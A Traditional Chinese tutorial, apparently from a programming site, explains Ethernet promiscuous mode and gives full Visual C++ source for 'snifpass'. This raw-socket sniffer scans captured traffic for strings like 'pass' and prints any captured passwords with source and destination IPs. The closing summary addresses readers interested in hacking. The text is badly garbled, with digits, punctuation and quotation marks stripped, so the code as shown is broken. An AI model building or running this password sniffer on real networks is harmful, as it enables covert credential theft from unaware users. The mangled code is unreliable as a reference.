Sniffer是網絡中一種常見的嗅探技術
對於網絡管理員而言
他可以利用Sniffer來獲取相關的網絡流量情況進而發現一些潛在的網絡性能或者安全問題
而對於黑客而言
Sniffer則能夠幫助他得到一些重要的數據諸如用戶名和密碼或者其他的商業機密
Sniffer工作在用戶看不見也注意不到的網絡底層
隱蔽性極強
如被非法利用將會造成極大的危害
而利益受損的用戶可能還渾然不覺
為了使讀者對Sniffer的原理有一個深入的理解
本實例實現一個Sniffer來捕捉用戶名和密碼
如果抓到密碼的話
就在屏幕上面打印出來
同時還輸出源計算機和目的計算機的IP地址
至於其他的信息我們則進行簡單的拋棄而不做任何處理
程序編譯運行後
啟動控制台
運行snifpass
exe文件後
使用IE登錄
使用您的用戶名和密碼登錄會員區時
sniffer獲取的結果如下圖所示
圖一sniffer程序界面效果圖
一
實現方法
在說明Sniffer實現方法之前
讓我們先來看看以太網的工作方式
我們知道
以太網是一種基於廣播信道的通信網絡
在這種廣播網絡中
數據的發送是以廣播方式來進行的
當一台計算機向另外一台計算機發送數據時
該數據將同時被發送到局域網中的其他所有計算機的網卡上
這樣一來
每台計算機的網卡都能夠收到這個數據幀
但在正常情況下
網卡只接受兩種數據幀
和自己的MAC地址相匹配的數據幀
網絡中的廣播數據幀
換而言之
只要網卡發現自己收到的數據幀和自己的MAC地址並不匹配
網卡就簡單的將其拋棄
不做任何處理
所以在正常情況下
網絡中的通信還是安全的
但是以太網卡還有一種特殊的接收模式
混雜模式
在混雜模式下面
網卡能夠接收一切通過它的數據
而不管該數據是否是傳給它的
好了
現在Sniffer的原理已經浮出水面
我們來總結一下實現Sniffer的兩個條件
我們需要一個共享式以太網環境
我們需要將網卡的接收模式設置為混雜模式
滿足這兩個條件後
我們就可以在網絡中不動聲色的來嗅探我們想要的數據了
下面我們來分析一下一個基本的Sniffer是如何實現的
為了能夠在網絡上捕捉所有的數據包
我們首先需要將網卡設置為混雜模式
在Windows環境下面我們要用到一個函數
WSAIoctl()
在MSDN裡我們可以看到該函數的定義如下
int WSAIoctl (
SOCKET s
DWORD dwIoControlCode
LPVOID lpvInBuffer
DWORD cbInBuffer
LPVOID lpvOUTBuffer
DWORD cbOUTBuffer
LPDWORD lpcbBytesReturned
LPWSAOVERLAPPED lpOverlapped
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE
);
該函數共有九個參數第一個參數s是套接字描述符第二個參數是I/O控制命令有很多個命令可供選擇但在我們的程序中將只使用SIO_RCVALL 命令第三第四個參數是對輸入參數進行了描述第五第六個參數用於自調用返回的任何數據第七個參數對應於實際返回的字節數最後兩個參數是 lpOverlapped和lpCompletionROUTINE在隨重疊I/O調用這個函數時使用在我們的程序中將其設置為NULL
通過這個函數我們可以將網卡設置為混雜模式並允許指定的套接字接收網絡上的所有IP數據包解決了網卡混雜模式設置的問題下面我們就可以做一個實際的 Sniffer畢竟只有通過親自動手寫程序你才能夠真正理解Sniffer在這個例子中我們將只捕捉用戶名和密碼如果抓到密碼的話就在屏幕上面打印出來同時還輸出源計算機和目的計算機的IP地址至於其他的信息我們則進行簡單的拋棄而不做任何處理
二編程步驟
啟動Visual C++新建項目Snifpass選擇控制台模式
使用ClassWizard在項目中插入文件Snifpassc
添加代碼編譯運行程序
三程序代碼
//////////////////////////////////////////////////////////////
#include <stdio
h>
#include <string
h>
#include <Winsock
h>
#include <mstcpip
h>
#include
ws
tcpip
h
#define MAX_PACK_LEN
//接收的最大IP報文
#define MAX_ADDR_LEN
// 點分十進制地址的最大長度
#define MAX_HOSTNAME_LAN
//最大主機名長度
typedef struct _iphdr
{
unsigned char h_lenver; //
位首部長度+
位IP版本號
unsigned char tos; //
位服務類型TOS
unsigned short total_len; //
位總長度(字節)
unsigned short ident; //
位標識
unsigned short frag_and_flags; //
位標志位
unsigned char ttl; //
位生存時間 TTL
unsigned char proto; //
位協議 (TCP
UDP 或其他)
unsigned short checksum; //
位IP首部校驗和
unsigned int sourceIP; //
位源IP地址
unsigned int destIP; //
位目的IP地址
}IP_HEADER;
SOCKET SockRaw; int DecodeIpPack(char *
int); //IP解包函數
void CheckSockError(int
char*);//SOCK錯誤處理函數
void main(int argc
char ** argv)
{
int iErrorCode;
char RecvBuf[MAX_PACK_LEN] = {
};
WSADATA wsaData;
char name[MAX_HOSTNAME_LAN];
struct hostent * pHostent;
SOCKADDR_IN sa;
DWORD dwBufferLen [
];
DWORD dwBufferInLen =
;
DWORD dwBytesReturned =
;
if(argc!=
)
{
printf(
Password sniffer written by Wu
\n\n
);
printf(
Usage:
);
printf(
\tsniffer
exe \n
);
exit(
);
}
printf(
It
s now sniffing
CTRL+C to exit
\n\n
);
//初始化SOCKET
建立一個原始套接字
iErrorCode = WSAStartup(
x
&wsaData);
CheckSockError(iErrorCode
WSAStartup
);
SockRaw = socket(AF_INET
SOCK_RAW
IPPROTO_IP);
CheckSockError(SockRaw
socket
);
//獲取本機IP地址
iErrorCode = gethostname(name
MAX_HOSTNAME_LAN);
CheckSockError(iErrorCode
gethostname
);
pHostent = (struct hostent * )malloc(sizeof(struct hostent));
pHostent = gethostbyname(name);
sa
sin_family = AF_INET;
sa
sin_port = htons(
);
memcpy(&sa
sin_addr
S_un
S_addr
pHostent
>h_addr_list[
]
pHostent
>h_length);
//綁定套接字
iErrorCode = bind(SockRaw
(PSOCKADDR)&sa
sizeof(sa));
CheckSockError(iErrorCode
bind
);
//設置SOCK_RAW為SIO_RCVALL
以便接收所有的IP包
iErrorCode=WSAIoctl(SockRaw
SIO_RCVALL
&dwBufferInLen
sizeof(dwBufferInLen)
&dwBufferLen
sizeof(dwBufferLen)
&dwBytesReturned
NULL
NULL );
CheckSockError(iErrorCode
Ioctl
);
//偵聽IP報文
while(
)
{
memset(RecvBuf
sizeof(RecvBuf));
iErrorCode = recv(SockRaw
RecvBuf
sizeof(RecvBuf)
);
CheckSockError(iErrorCode
recv
);
iErrorCode = DecodeIpPack(RecvBuf
iErrorCode);//對收到的IP包進行解包
CheckSockError(iErrorCode
Decode
);
}
}
//IP解包程序
int DecodeIpPack(char *buf
int iBufSize)
{
IP_HEADER *pIpheader;
char *SearchPass;
int iIphLen
iTTL;
char szSourceIP[MAX_ADDR_LEN]
szDestIP[MAX_ADDR_LEN];
SOCKADDR_IN saSource
saDest;
pIpheader = (IP_HEADER *)buf;
//獲取源IP地址
saSource
sin_addr
s_addr = pIpheader
>sourceIP;
strncpy(szSourceIP
inet_ntoa(saSource
sin_addr)
MAX_ADDR_LEN);
//獲取目標IP地址
saDest
sin_addr
s_addr = pIpheader
>destIP;
strncpy(szDestIP
inet_ntoa(saDest
sin_addr)
MAX_ADDR_LEN);
iTTL = pIpheader
>ttl;
//計算IP包頭長度
iIphLen = sizeof(unsigned long) * (pIpheader
>h_lenver &
xf);
SearchPass = buf + iIphLen +
;
//如果抓到密碼就輸出
if(strstr(SearchPass
pass
)||strstr(SearchPass
Pass
)||strstr(SearchPass
PASS
))
{
printf(
\n\n%s
>%s
szSourceIP
szDestIP); //輸出源計算機和目的計算機的IP地址
printf(
bytes=%d TTL=%d \n
iBufSize
iTTL);
printf(
%s
SearchPass);
}
return
;
}
//SOCK錯誤處理程序
void CheckSockError(int iErrorCode
char *pErrorMsg)
{
if(iErrorCode==SOCKET_ERROR)
{
printf(
%s Error:%d\n
pErrorMsg
GetLastError());
closesocket(SockRaw);
exit(
);
}
}
四小結 本實例首先介紹了以太網的工作方式
然後在此基礎上實現網絡嗅探程序
希望它對於那些對網絡技術
黑客技術的讀者朋友所有幫助
From:http://tw.wingwit.com/Article/program/net/201311/13024.html